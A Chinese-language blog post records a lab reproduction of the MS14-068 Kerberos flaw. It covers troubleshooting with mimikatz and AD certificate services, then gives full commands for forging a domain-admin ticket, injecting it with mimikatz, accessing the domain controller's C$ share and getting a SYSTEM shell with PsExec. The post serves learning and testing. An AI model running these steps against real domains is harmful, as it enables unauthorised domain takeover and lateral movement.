前言

这几天在研究MS14-068域普通用户提权的问题,自己搭建了域环境,使用普通域用户死活提不上权限。现在终于解决了,所以把研究过程记一下。

问题:mimikatz导入凭证后依然“拒绝访问”域控文件

可能点一:mimikatz将凭证注入内存不成功

mimikatz在注入凭证后,使用”kerberos::list”看一下是否当前凭证只有一个,若只有一个则说明注入成功。
若有多个,如下图所示:
MS14-068排错笔记 - 图1
则说明伪造的凭证“可能”注入成功,但是后续访问域控共享文件“任然”可能失败。
若一个都没有,”kerberos::list”为空,则说明凭证注入失败,则需要多试几次,或者使用更高级权限的mimikatz注入试试
MS14-068排错笔记 - 图2

可能点二:域控未安装“域证书服务”(这次失败点就在于此)

因为是新手,对域控环境搭建不是很熟悉,所以我在搭建域控环境的时候,只安装了“域服务”和“DNS服务”(如下图红框所示),并未在意“AD证书服务”的安装(如下图箭头所示)。经过后续尝试才发现需要安装这个服务,才能成功进入域控文件共享。
MS14-068排错笔记 - 图3

MS14-068漏洞复现

MS14-068漏洞可以将一个普通域用户提升到域管权限,从而进行后续的横向渗透,该漏洞有几个必要条件:

  • 域控上无KB3011780补丁
  • 拥有一台域内机器的控制权限
  • 拥有一个域账户的SID、账号、密码/hash

    工具下载:

    1. Ms14-068.exe 下载地址: https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
    2. PSexec 下载地址: https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
    3. mimikatz 下载地址: https://github.com/gentilkiwi/mimikatz/releases

    漏洞利用

    获取普通域用户SID:
    whoami /user
    
    MS14-068排错笔记 - 图4
    获取域控主机名/IP地址 ``` net group “Domain controllers” /domain

ping 主机名

注意不要带$符号<br />![](https://i.loli.net/2020/01/09/C8m2XV63IKjzMtd.png#id=rZPW8&originHeight=409&originWidth=597&originalType=binary&ratio=1&status=done&style=none)<br />测试是否可以访问域控共享文件

dir \域控主机名.域名\c$

![](https://i.loli.net/2020/01/09/SUmtaoL2AQMR5ZD.png#id=SlSol&originHeight=63&originWidth=416&originalType=binary&ratio=1&status=done&style=none)<br />可以看到显示“拒绝访问”,这是正常,域普通用户当然没有权限访问域控共享文件,现在我们需要使用MS14-068提权。<br />![](https://i.loli.net/2020/01/09/mBG8LKohAZfrERI.png#id=lqVZE&originHeight=189&originWidth=623&originalType=binary&ratio=1&status=done&style=none)<br />MS14-068需要几个必要的参数,SID、域用户名、域控地址,另外还需要密码,若没有密码可以使用--rc4来使用hsah生成凭证

S14-068.exe -u test1@testaa.com -s S-1-5-21-1054765563-66723455-3431114319-1104 -d WIN-GPBP3K667HC.testaa.com -p X*

![](https://i.loli.net/2020/01/09/fD958LTjwCUNvJq.png#id=qWvwq&originHeight=209&originWidth=640&originalType=binary&ratio=1&status=done&style=none)<br />进入mimikatz

kerberos::list //查看当前凭证 kerberos::purge //清除凭证 kerberos::list //再次查看,确保无凭证

![](https://i.loli.net/2020/01/09/Bjp6xfNRreKqLyD.png#id=t628P&originHeight=117&originWidth=438&originalType=binary&ratio=1&status=done&style=none)<br />使用如下命令导入刚刚生成的伪造凭证

kerberos::ptc 凭证地址

![](https://i.loli.net/2020/01/09/qs5OaY7zHCybkZN.png#id=lfNuh&originHeight=349&originWidth=735&originalType=binary&ratio=1&status=done&style=none)<br />再次访问域控的共享文件,即可发现已经成功列出目录了<br />![](https://i.loli.net/2020/01/09/rK3oDBlA2m8zdIx.png#id=ZRQnm&originHeight=246&originWidth=483&originalType=binary&ratio=1&status=done&style=none)<br />使用Psexec64.exe横向移动

psesec.exe -accepteula \IPaddress -s cmd.exe ``` MS14-068排错笔记 - 图5
可以观察到命令提示符已经变了,且用户权限为域控的system权限(由于Psexec64.exe的-s原因)。看IP地址也可知晓已经成功登陆域控机器了。